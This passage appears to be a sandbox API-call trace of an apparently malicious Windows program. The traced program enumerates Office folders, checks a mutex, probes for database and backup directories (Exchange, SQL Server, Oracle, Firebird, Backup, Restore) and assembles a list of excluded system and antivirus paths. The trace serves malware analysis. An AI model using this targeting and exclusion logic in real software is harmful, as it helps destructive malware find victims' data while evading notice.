[0059.396] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0059.396] GetLastError () returned 0x12 [0059.396] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0059.396] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.396] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.396] GlobalUnlock (hMem=0x440004) returned 0 [0059.396] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.396] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.396] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.396] GlobalUnlock (hMem=0x440004) returned 0 [0059.396] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.396] GlobalUnlock (hMem=0x44000c) returned 0 [0059.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0059.396] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0059.396] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.396] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.396] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.397] GlobalUnlock (hMem=0x44000c) returned 0 [0059.397] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.397] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.397] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.397] GlobalUnlock (hMem=0x44000c) returned 0 [0059.397] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.397] GlobalUnlock (hMem=0x440004) returned 0 [0059.397] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.397] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.397] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0059.397] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.397] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.397] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.397] GlobalUnlock (hMem=0x440004) returned 0 [0059.397] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.397] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.397] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.397] GlobalUnlock (hMem=0x440004) returned 0 [0059.397] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.397] GlobalUnlock (hMem=0x44000c) returned 0 [0059.397] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.397] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0059.397] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0059.397] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0059.397] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.397] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.397] GlobalUnlock (hMem=0x44000c) returned 0 [0059.398] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.398] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.398] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.398] GlobalUnlock (hMem=0x44000c) returned 0 [0059.398] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.398] GlobalUnlock (hMem=0x440004) returned 0 [0059.398] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.398] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.398] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.398] GlobalUnlock (hMem=0x440004) returned 0 [0059.398] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.398] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.398] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.398] GlobalUnlock (hMem=0x440004) returned 0 [0059.398] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.398] GlobalUnlock (hMem=0x44000c) returned 0 [0059.398] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.398] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Microsoft Office\\CLIPART", len=0x29 | out: pbstr=0x18f444*="C:\\Program Files\\Microsoft Office\\CLIPART") returned 1 [0059.398] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.398] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.398] GlobalUnlock (hMem=0x44000c) returned 0 [0059.398] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.398] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.398] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.398] GlobalUnlock (hMem=0x44000c) returned 0 [0059.398] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.398] GlobalUnlock (hMem=0x440004) returned 0 [0059.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@㐬R㐀R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0059.399] GetLastError () returned 0x3 [0059.399] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.399] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@㎬R企@\x18䄌Q\x181")) returned 0xffffffff [0059.400] GetLastError () returned 0x2 [0059.400] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@嚔U企@\x18?T\x18;")) returned 0xffffffff [0059.400] GetLastError () returned 0x2 [0059.400] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@㎬R企@\x18?T\x18D")) returned 0xffffffff [0059.400] GetLastError () returned 0x2 [0059.401] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0059.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@嚔U企@\x18ⱤR\x18j")) returned 0xffffffff [0059.401] GetLastError () returned 0x2 [0059.401] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0059.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0059.401] GetLastError () returned 0x2 [0059.401] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⱠR`") returned 6 [0059.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@練R企@\x18?T\x18y")) returned 0xffffffff [0059.401] GetLastError () returned 0x2 [0059.401] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0059.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@㎬R企@\x18?T\x18\x81")) returned 0xffffffff [0059.402] GetLastError () returned 0x2 [0059.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0059.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0059.402] GetLastError () returned 0x2 [0059.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0059.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@練R企@\x18?T\x18\x8f")) returned 0xffffffff [0059.402] GetLastError () returned 0x2 [0059.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0059.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6aa08, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ⶔR䱠@㎬R企@\x18?T\x18\x97")) returned 0xffffffff [0059.402] GetLastError () returned 0x2 [0059.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0059.403] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.403] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.403] GlobalUnlock (hMem=0x440004) returned 0 [0059.403] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.403] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.403] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.403] GlobalUnlock (hMem=0x440004) returned 0 [0059.403] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.403] GlobalUnlock (hMem=0x44000c) returned 0 [0059.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.403] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.403] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0059.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.403] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.403] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0059.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9c8, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.403] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.403] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.403] GlobalUnlock (hMem=0x44000c) returned 0 [0059.403] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.404] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.404] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.404] GlobalUnlock (hMem=0x44000c) returned 0 [0059.404] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.404] GlobalUnlock (hMem=0x440004) returned 0 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6aa28, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.404] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\CLIPART\\", cchLength=0x2a | out: lpsz="c:\\program files\\microsoft office\\clipart\\") returned 0x2a [0059.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0059.405] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.405] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.405] GlobalUnlock (hMem=0x440004) returned 0 [0059.405] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.405] GlobalLock (hMem=0x44000c) returned 